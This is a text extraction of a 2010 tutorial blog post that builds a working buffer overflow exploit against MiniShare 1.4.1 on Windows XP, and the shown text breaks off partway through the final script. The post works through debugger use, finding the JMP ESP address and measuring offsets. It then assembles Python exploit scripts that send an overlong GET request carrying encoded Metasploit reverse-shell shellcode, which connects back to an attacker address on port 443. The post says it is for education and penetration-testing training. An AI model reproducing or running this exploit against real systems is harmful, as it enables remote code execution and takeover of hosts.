Stack Based Windows Buffer Overflow

30
Stack Based Windows Buffer Overflow Tutorial THURSDAY, JANUARY 7, 2010 Introduction One thing I have always maintained is that aspiring or practicing penetration testers who use an exploitation product (such as CANVAS, Core Impact, Metasploit) should know how buffer overflows actually work. Having this knowledge will help you understand the circumstances under which these products can work, will help you troubleshoot when things don't work and will correct unrealistic expectations about what the products are capable of. In addition, being able to reproduce buffer overflow exploits will also give you the tools to more accurately assess the risk of discovered vulnerabilities as well as to develop effective countermeasures for exploits out in the wild. These are important skills for incident responders and for those attempting to protect their networks. To this end, I am going to write a series of tutorials on how to write buffer overflows. This is the first entry in this series, and it will cover how to recreate a simple stack based buffer overflow in the Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version of the MiniShare application and the vulnerability we will be attacking has been patched in the current version of

Transcript of Stack Based Windows Buffer Overflow

Page 1: Stack Based Windows Buffer Overflow

Stack Based Windows Buffer Overflow Tutorial

T H U R S D A Y , J A N U A R Y 7 , 2 0 1 0

Introduction

One thing I have always maintained is that aspiring or practicing penetration testers who use an

exploitation product (such as CANVAS, Core Impact, Metasploit) should know how buffer

overflows actually work. Having this knowledge will help you understand the circumstances

under which these products can work, will help you troubleshoot when things don't work and

will correct unrealistic expectations about what the products are capable of.

In addition, being able to reproduce buffer overflow exploits will also give you the tools to more

accurately assess the risk of discovered vulnerabilities as well as to develop effective

countermeasures for exploits out in the wild. These are important skills for incident responders

and for those attempting to protect their networks.

To this end, I am going to write a series of tutorials on how to write buffer overflows. This is the

first entry in this series, and it will cover how to recreate a simple stack based buffer overflow in

the Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version of the MiniShare

application and the vulnerability we will be attacking has been patched in the current version of

the application. While this vulnerability could probably be considered out of date, it does provide

a very good example of a simple stack based buffer overflow, which makes it ideal to use in a

beginners buffer overflow tutorial such as this.

In this tutorial I am going to focus exclusively on the practical skills needed to exploit buffer

overflows, and I won't go into any uneccessary details on the theory of how they work, or how

buffer overflows can be discovered. There are many other resources available on buffer overflow

theory, and I will cover off on the vulnerability discovery angle in a later post.

Update: Blog reader Mark has created a video version of this tutorial, so if you like videos with

your tutorials, check it out. It can be foundhere.

Page 2: Stack Based Windows Buffer Overflow

Warning! Please note that this tutorial is intended for educational purposes only, and you should

NOT use the skills you gain here to attack any system for which you don't have permission to

access. Its illegal in most jurisdictions to access a computer system without authorisation, and if

you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't

say you haven't been warned.

Required Knowledge

To follow this tutorial you will need to have basic knowledge of:

TCP/IP networking,

management of the Windows Operating System (including installing software, running

and restarting services, connecting to remote desktop sessions, etc), and

running Python scripts.

You need to have good enough knowledge of the attacking system you use (whether it be

BackTrack, another type of Linux, Windows or anything else) to be able to run programs and

scripts.

Python programming skills and knowledge of Metasploit usage are a bonus but not required.

System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP

SP2, and a attacking system running BackTrack 4 PreFinal.

You don't need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2

or earlier for the victim system. The attacking system can be anything you feel comfortable in, as

long as it can run the software I have specified below, and as long as you are able to translate the

Linux commands I will be using in the tutorial into something appropriate for your chosen

system.

Page 3: Stack Based Windows Buffer Overflow

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the

instructions in the Metasploit Unleashed course, starting in the section "02 Required Materials" -

"Windows XP SP2" up to the section entitled "XP SP2 Post Install".Your victim system must use

a X86 based processor.

In this tutorial my attacking and victim systems used the following IP Addresses. You will need

to substitute the addresses of your own systems where ever these addresses appear in the code or

commands listed below.

Attacker system: 192.168.20.11

Victim system: 192.168.10.27

The two systems are networked together and I have interactive GUI access to the desktop of the

victim system via a remote desktop session. You will need to be able to easily and quickly switch

between controlling your attacking system and the victim system when following this tutorial, so

make sure you have things set up appropriately before you proceed.

Required Software on Attacking and Victim Systems

Your attacker and victim systems will need the following software installed in order to follow

this tutorial. By using BackTrack 4 PreFinal for your attacking system you will take care of all of

the attacking system prerequisitites.

The attacking system requires the following software:

Perl interpreter

Python interpreter

Metasploit 3.x

Text Editor

Netcat

The victim system requires the following software:

MiniShare 1.4.1

OllyDbg 1.10

Page 4: Stack Based Windows Buffer Overflow

Ensure that all required software is installed and operational before you proceed with this

tutorial.

Attaching to your program in the debugger

The first thing you need to learn in order to proceed with this tutorial is how to attach to your

vulnerable program in a debugger. This is essential when developing an buffer overflow exploit,

as it allows us to see what is going on inside the application during the crash that allows a buffer

overflow to occur. This information allows us to structure a buffer to be sent to the application in

a fashion that allows us to take control of that programs execution.

In this tutorial we will be using OllyDbg as our debugger and MiniShare 1.4.1 as our vulnerable

application. Both applications need to be installed on our victim system before we can proceed.

OllyDbg just needs to be unzipped to a folder, and you can then run the application using the

Ollydbg.exe executable, and MiniShare can be installed using the downloaded installer. Put a

shortcut to OllyDbg in a convenient place like the desktop, because you will be using it a lot

during the exploit development process.

To attach MiniShare to our debugger, we simply use the File->Open menu option in OllyDbg,

then browse to the install location of MiniShare (C:\Program Files\MiniShare\ by default) and

open minishare.exe.

Page 5: Stack Based Windows Buffer Overflow

6/30/12 minishare14.png (image)

1/11.bp.blogspot.com/_e7K39d4GimA/S0ar9_UlqfI/AAAAAAAAAFc/ItQ6rmJxyTg/s1600-h/minishare14.png

Page 6: Stack Based Windows Buffer Overflow

We can also start Minishare outside of the debugger, and use the File->Attach option to pick the

process from a list and have the debugger then take control of that process.

This second method is often the way that we need to attach to processes which are started as

services (e.g those managed in the Services Control panel in Windows), and these programs

usually also need to be restarted outside of the debugger as well.

Where possible, I prefer to start the program within the debugger, because it captures control of

the program at an earlier stage in that programs execution and you can restart the process from

within the debugger as well.

If you ever have any issues with starting a program directly in the debugger (for example if the

program terminates shortly after starting), keep in mind that you many need to control the

starting and stopping of that program outside of the debugger and use the attach method to debug

the program.

Whichever way we attach to MiniShare, once the debugger has control execution of the

debugged program will pause in the debugger.

Page 7: Stack Based Windows Buffer Overflow

6/30/12 minishare0.png (image)

1/14.bp.blogspot.com/_e7K39d4GimA/S0asa9wssAI/AAAAAAAAAFk/lZrf6qMEfN0/s1600-h/minishare0.png

Page 8: Stack Based Windows Buffer Overflow

The program here is being controlled by the debugger, and if you wished you could use various

OllyDbg commands to step through the various instructions you see on the screen to watch how

the program operates. At this point we just want to let the program run until an exception occurs,

so we can either hit the F9 key, the Run Program button on the toolbar (it looks like a P lay icon),

or use the Debug->Run option. This will allow the program to run on its own within the

debugger until something happens that makes the debugger take control again, such as a

breakpoint being hit or an exception occurring.

During this process we will be triggering exceptions in the debugged MiniShare process, and

these exceptions will break the normal operating of the process. For this reason, you will need to

restart the process in the debugger once you are ready to trigger the exception again. To do this

with Minishare, you can use the Debug->Restart menu option, after which you will need to use

the Run (F9) option to let the program run once more.

The OllyDbg Main Window

At this point we should briefly go over the main OllyDbg window so you know what you are

looking at. The main OllyDbg window (or CPU window) is comprised of four panes.

The top left hand pane shows a list of instructions that are being executed by the CPU. The first

column in this pane shows the memory address that the instruction is located at, the second

column shows the machine language opcode of the instruction and the third column shows the

assembled form of the instruction in MASM format (by default).

The bottom left hand pane shows a memory dump of the current section of memory in which

execution is occurring. There are a variety of different view formats available but by default you

will see the Hex output which shows the address of the memory, a hex dump and an ASCII

equivalent.

In the top right hand pane you will see the various registers of the CPU which are used to support

execution of code. Two registers that you may want to know about for the purpose of this tutorial

are the EIP register, which contains the address of the instruction that the CPU will execute ne xt,

and ESP which contains a pointer to the current entry in an important memory structure called

the stack.

In the bottom right hand pane you see the stack, which is a memory structure that contains a

virtual pile of 32 bit (4 byte) addresses. The stack is a first in last, out structure in memory that

programs use to store variables and to keep track of their position in code when functions are

called. To get entries onto the stack you have to add them onto the top, and only the top most

Page 9: Stack Based Windows Buffer Overflow

entry can be removed from the stack, so to get to the third entry down you first need to remove

the two entries above.

Page 10: Stack Based Windows Buffer Overflow

6/30/12 minishare13.png (image)

1/11.bp.blogspot.com/_e7K39d4GimA/S0as7pE--MI/AAAAAAAAAF0/Dwa0NBG2Wvw/…/minishare13.png

Page 11: Stack Based Windows Buffer Overflow

Each of these different panes has different context sensitive menus that can be accessed via a right click and which will perform useful actions. Id encourage you to spend some time looking

around this window and familiarising yourself with the layout before continuing.

Triggering the Vulnerability

Now that we have our program running in a debugger we need to know how to actually trigger the vulnerability so that we can analyse it in order to develop an exploit. If we know some of the

details about how the vulnerability is trigger we can By checking a security advisory for the vulnerability and by looking at an existing exploit we can

see that the vulnerability is triggered by sending an overly large GET request to the system.

We can find out the standard format of a HTTP GET request by checking the HTTP RFC document or taking a packet capture of some web browser traffic, but basically a GET request contains a URI to be retrieved from a web server, followed by the HTTP protocol version,

followed by other headers (some of which are optional), ended by two new lines.

Doing a packet capture of a request to www.google.com shows that the request starts with "GET / HTTP/1.1" then contains a number of other headers and is ended by two new line, carriage return characters.

We can try and reproduce the overflow by sending the following to the vulnerable server:

"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"

We can send this via using the following Python script. In the script "\x41" is the hexadecimal value for the ASCII "A" character, and "\r\n" is a new line carriage return. You will need to

modify the target_address variable to contain the address of your own victim system. Save this to a file called minisharesploit.py, and on a Linux system like BackTrack you will be able to run it by first marking it executable using "chmod +x minisharesploit.py", on Windows you will

probably need to run this by directly calling the python interpreter at the command line like so "python minisharesploit.py". Python is white space sensitive so make sure you don't indent any

of the commands.

#!/usr/bin/python

import socket

target_address="192.168.10.27"

target_port=80

buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"

Page 12: Stack Based Windows Buffer Overflow

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Note that there is a space character within the double quotes AFTER the GET and a space

character within the double quotes BEFORE the HTTP/1.1.

On Linux, run the script like so to trigger the exploit.

user@bt4pf:~$ ./minisharesploit.py

When we run this script and it sends the bad buffer to the application, we should see the

debugger kick in and stop execution of the application when it detects an exception. In the

debugger, we should see that the application crashes with an access violation reading 41414141,

and the EIP register (in the top left hand pane) is pointing to 41414141. This means that part of

the buffer we have sent to the application has been used to overwrite the value of this register

EIP. Seeing this sort of exception in a debugger is a good indicator that a exploitable buffer

overflow vulnerability has been found.

Page 13: Stack Based Windows Buffer Overflow

6/30/12 minishare1-c.png (image)

1/11.bp.blogspot.com/_e7K39d4GimA/S0azUpwK7jI/AAAAAAAAAG8/sfUDrtfLwqQ/…/minishare1-c.png

Page 14: Stack Based Windows Buffer Overflow

Taking Control of the Crash

A little more detail about the EIP register is probably required here. The CPU decides which

instruction to execute next by reading the value of the EIP register and executing the instruction

that is located at that memory address. For example if the EIP register contains the address

0x77daaf0a, and that memory address stores the codes \xff\xe4 (which are the machine language

opcodes for the assembly instruction JMP ESP) then the CPU will execute that instruction,

causing it to "jump" execution to the memory location stored in the ESP register. The value of

the EIP register will then be set to the value of the ESP register, and the CPU will execute the

instruction located in the memory address referenced by the ESP register. So, if the ESP register

contained the value 0x01423908, a JMP ESP machine instruction would then cause EIP to be set

to 0x01423908, and whatever machine language instruction was located at the memory address

0x01423908 would be executed next.

Consequently, in order to redirect execution for our exploit, we need to overwrite the EIP

register with a memory location that contains a machine language instruction that will in turn

point the EIP register to an area in which we can place our own code. The most obvious place for

us to place our own code is within the same buffer of data we send to the vulnerable application

to trigger the exception that allows the buffer overflow to occur.

Now we don't know the exact address of the memory location that we control via the buffer that

we send, but we do know from checking the register values at the time of the crash that the ESP

register points to a location within this buffer. Consequently, if we can redirect code execution to

the memory location referred to by ESP, and if we place our own machine language instructions

into the buffer location pointed to by ESP, then we will have successfully exploited the

application to run our own code.

Finding a JMP ESP Instruction

The first step in doing this will be to overwrite the EIP address at the time of the crash with a

known memory location containing machine language instruction that will redirect code into our

buffer. Since the ESP register points into our buffer at the time of the crash the JMP ESP

command discussed earlier will fit the bill nicely.

So how can we find a JMP ESP instruction that sits in a predictable location in memory that we

can use? Well, there are a number of ways to achieve this, but my chosen method is to do it

through the debugger.

First of all, open the View menu in Olly and select the Executable Modules option. This will

Page 15: Stack Based Windows Buffer Overflow

bring up a new window showing all of the loaded executable modules that this process owns. For

Minishare, we can see the minishare.exe at the top of the list, and then a number of Windows

DLLs that have been loaded by Minishare to provide additional needed functionality. We can

search within these executable modules for the JMP ESP instruction that we need.

Page 16: Stack Based Windows Buffer Overflow

6/30/12 minishare5-c.png (image)

1/11.bp.blogspot.com/_e7K39d4GimA/S0au-RxDR9I/AAAAAAAAAGE/1bMHlJs15Jk/…/minishare5-c.png

Page 17: Stack Based Windows Buffer Overflow

Note: Now a quick note about this before we proceed any further. I am reproducing this exploit

on Windows XP SP2. Windows XP does not have any protections in place to randomise the base

location from which DLLs are loaded, so every time this application runs each DLL will be

loaded into memory at the exact same starting address. This means that instructions located

WITHIN the DLL will also be in the exact same address every time the program runs. Windows

Vista and Windows 7 implement a protection called ASLR which results in certain DLLs

(particularly Windows system DLLs) being loaded at randomised base locations, meaning that

instructions within those DLLs will be at different memory addresses after a system restart.

There are ways around this protection, but they are beyond the scope of this article. I'd suggest

reproducing this only on Windows XP.

In addition to this little fact about ASLR, also keep in mind that with each Service Pack, the

exact layout of certain system DLLs will change, and different language versions of the

Windows OS may also have different DLL structures. What this means is that when searching

for machine code instructions in DLLs, you may come up with slightly different memory

addresses than I do, so aim to understand the process by which I discover these addresses rather

than trying to copy the exact addresses I use.

Looking at our list of executable modules, we can pick almost any of these to locate our JMP

ESP address, however there are some things we should consider when selecting. First of all, we

want to avoid any address that contains a zero byte \x00. This character is considered a string

terminator in the C programming language, and usually has the effect of breaking an exploit

when it is included within a buffer. For a similar reason, we also want to avoid the line feed and

carriage return characters \x0a and \x0d. This means that using any addresses from minishare.exe

is out of the question because all of the addresses within this executable being with a zero byte

(the base address is 0x00400000). In addition, where possible, it is preferable to use DLLs that

come with the application itself, because these addresses don't change with different Operating

System Service packs or Language versions, allowing the exploit to be more portable. Since

there are no additional DLLs as part of MiniShare, we will have to settle for using one of the

Windows DLLs that are loaded. Its best to pick fairly "major" DLLs that are less likely to change

as a result of hotfixes. I usually use either shell32.dll or user32.dll. Lets search in shell32.dll fir st.

Right click on the entry for shell32.dll in the Executable Modules window, and select View Code

in CPU.

Page 18: Stack Based Windows Buffer Overflow

6/30/12 minishare6-c.png (image)

1/11.bp.blogspot.com/_e7K39d4GimA/S0avf1stNmI/AAAAAAAAAGM/7fgG_r846xc/…/minishare6-c.png

Page 19: Stack Based Windows Buffer Overflow

Then right click in the CPU area (which should now be showing the code for the for the

shell32.dll module - check the text after "module" in the title bar to confirm) and select Search

for -> Command or use CTRL-F.

Page 20: Stack Based Windows Buffer Overflow

6/30/12 minishare7-c.png (image)

1/12.bp.blogspot.com/_e7K39d4GimA/S0awB8bWi5I/AAAAAAAAAGU/ZLy5nybrTUY/…/minishare7-c.png

Page 21: Stack Based Windows Buffer Overflow

In the Find Command box type JMP ESP and hit Find.

In my system, this takes me to a JMP ESP command located at the memory address

0x7CA58265 of SHELL32.dll.

This address seems to be free of all the usual bad characters (\x00\x0a\x0d) so we will use this address to overwrite EIP. If the first address that appears when you search contains bad

characters, you can find the next JMP ESP command by using Search for-> Next or hit CTRL-L.

Finding Offsets Within Our Buffer

Now that we have an address to use to overwrite EIP, we need to find the exact location within our buffer at which EIP is overwritten, so we can structure the buffer we send appropriately. We also need to find the location in our buffer where the ESP register points, so we can locate our

machine language code there.

To do this, we can use a tool distributed with the Metasploit framework called pattern_create.rb. This tool creates a unique pattern of a specified length, which can be fed into a buffer sent to our vulnerable application that will then reveal the various offsets into our buffer where overwrites

occur.

Lets generate a string of the appropriate length and put it into our skeleton exploit.

user@bt4pf:~$ cd /pentest/exploits/framework3/tools/

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_create.rb 2220

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9

Note that I have contracted the output of the pattern_create.rb tool in the above output and the below skeleton exploit for readability purposes. You need to paste the WHOLE of the output from pattern_create into your exploit.

Page 22: Stack Based Windows Buffer Overflow

Our exploit then becomes as follows:

#!/usr/bin/python

import socket

target_address="192.168.10.27"

target_port=80

buffer = "GET "

buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")

buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Now we use the Debug->Restart option in OllyDbg to restart MiniShare and hit the Play button

or F9 to let the application run, and we trigger the exploit again. Remember we will need to do

this every time we want to re-trigger the crash associated with this vulnerability.

This time when our exception is caught by the debugger, we get an access violation with EIP

pointing to 36684345 and ESP points to a memory location containing the text "Ch7Ch8h9....."

Page 23: Stack Based Windows Buffer Overflow

6/30/12 minishare10-c.png (image)

1/13.bp.blogspot.com/_e7K39d4GimA/S0ayLf8B2PI/AAAAAAAAAG0/ZtiQA1FR2RQ/…/minishare10-c.png

Page 24: Stack Based Windows Buffer Overflow

Lets find the offsets for these addresses using the Metasploit pattern_offset.rb tool.

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335

1787

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C

1791

According to this EIP is overwritten at 1787 bytes into our buffer, and ESP points to a location

1791 bytes into our buffer. Lets restructure the buffer in our exploit to confirm that this is correct.

#!/usr/bin/python

import socket

target_address="192.168.10.27"

target_port=80

buffer = "GET "

buffer+= "\x90" * 1787

buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here

buffer+= "\x90" * (1791 - len(buffer))

buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here

buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

We restart the MiniShare application, and run the next exploit, and at the time of the crash we see that EIP now points to 41414141 and ESP is pointing immediately after our overwrite

address. So we now know the exact offsets we need in order to overwrite EIP with an address of our

choosing, so we can proceed to add the correct data into our buffer.

Modifying the Exploit to Get Code Execution

First we will want to use the JMP ESP address we obtained earlier to overwrite EIP.

Now there is a trick to doing this that is required because of the little endian order of X86 compatible processors. Basically, little endian ordering means that the the significant byte in a

Page 25: Stack Based Windows Buffer Overflow

number is placed in the leftmost position in registers, followed by the second least significant byte, all the way to the most significant byte on the right. To get our JMP ESP address of

7CA58265 into EIP we have to reorder the bytes to place the least significant byte first. The address 7CA58265 is made up of four bytes, 7C, A5, 82 and 65, where each byte is represented

by two Heaxdecimal characters. To get this value from the stack (where the buffer overflow occurs) into the EIP register, we need to reorder the bytes as 65, 82, A5 and 7C or 6582A57C.

Lets write this into our exploit. Remember that your JMP ESP address could be different if you are using a different patch level or language version of Windows to me, so you should use the

address you found using the method described earlier.

#!/usr/bin/python

import socket

target_address="192.168.10.27"

target_port=80

buffer = "GET "

buffer+= "\x90" * 1787

buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.

buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.

buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Lets restart MiniShare in our debugger and use the play button or F9 to let MiniShare run.

Before we send the exploit this time however, we will set a breakpoint on our overwrite address to confirm that execution is being correctly redirected. In the top left hand pane of the CPU

window, right click and select Go to->Expression. In the window, enter the address of your JMP ESP instruction (7CA58265 in my case), and hit OK. Then with the JMP ESP instruction highlighted, hit the F2 key to add a breakpoint. The address portion of the CPU window for that

particular instruction should turn red, which will indicate that the breakpoint is set. The breakpoint basically stops the execution of the program in the debugger when we reach that

particular point in the code, and it will allow us to confirm that our JMP is happening as expected without letting our code just continue to run. (Although I have done something when structuring the buffer that will have a very similar effect - bonus points for anyone who works it

out! Hint: It may involve those \xcc characters..)

Now send the exploit....

Page 26: Stack Based Windows Buffer Overflow

Once you do so, the crash should be triggered and execution should pause at the breakpoint you

just specified. Now if you hit the F7 key, execution should "step" to the first of the \xcc characters from our sent buffer. If this does not happen, recheck your exploit making sure your

offsets are correct, that you put your JMP ESP address into the buffer in the correct little endian order and that there are no \x00, \x0a, or \x0d bytes in your JMP ESP address.

Adding Shellcode to the Exploit

Now we have basic code execution, however our exploit still wont do anything useful until we place some machine language code into our buffer. For this we can use the Metasploit

msfpayload tool to generate shellcode which we can add to the buffer. This is code made up of machine language opcodes that can do things such as open shells, run programs and so forth.

We will generate a reverse shell payload, which basically makes the exploited program initiate a TCP connection back to a listener on our local system, and then tunnels a shell over that

connection.

We use the LHOST and LPORT parameters to connect back to our attacking system 192.168.20.11 on port 443. We use the 'C' parameter to get the output in c ctyle format. You should obviously use an IP address and port appropriate to your own attacking system. If you

have problems with this command below you may need to change to the Metasploit directory, which is /pentest/exploits/framework3/ on BackTrack.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C

/*

* windows/shell_reverse_tcp - 314 bytes

* http://www.metasploit.com

* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,

* ReverseConnectRetries=5

*/

unsigned char buf[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

Page 27: Stack Based Windows Buffer Overflow

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"

"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"

"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"

"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"

"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"

"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"

"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"

"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"

"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Looking at the output we can see a potential problem, as there are a number of \x00, \x0a and

\x0d characters in the output. To get around this we can use another Metasploit tool, msfencode, which will take raw shellcode as input and output an encoded version which omits a specified et of characters.

We modify the msfpayload command to use raw 'R' output, and pipe this into msfencode to use

the X86 architecture, to get rid of bad characters '\x00\x0a\x0d' and to output in c style format.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R |

msfencode -a x86 -b '\x00\x0a\x0d' -t c

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =

"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"

"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"

"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"

"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"

"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"

"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"

"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"

"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"

"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"

"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"

"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"

"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"

"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"

"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"

"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"

"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"

Page 28: Stack Based Windows Buffer Overflow

"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"

"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"

"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"

"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"

"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"

"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"

"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";

Place this into our exploit. There is one more thing we will also do here, and that is to add a few

NOP instructions to the start of our shellcode. This will resolve issues that can be caused when certain types of encoded shellcode is run. NOPs are essentially No Operation instructions that do

nothing. Adding a number of NOPs into the right place in an exploit (like just before shellcode) can help improve exploit stability.

#!/usr/bin/python

import socket

target_address="192.168.10.27"

target_port=80

buffer = "GET "

buffer+= "\x90" * 1787

buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a

x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes

buffer+= "\x90" * 16

buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"

"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"

"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"

"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"

"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"

"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"

"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"

"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"

"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"

"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"

"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"

"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"

"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"

"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"

Page 29: Stack Based Windows Buffer Overflow

"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"

"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"

"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"

"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"

"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"

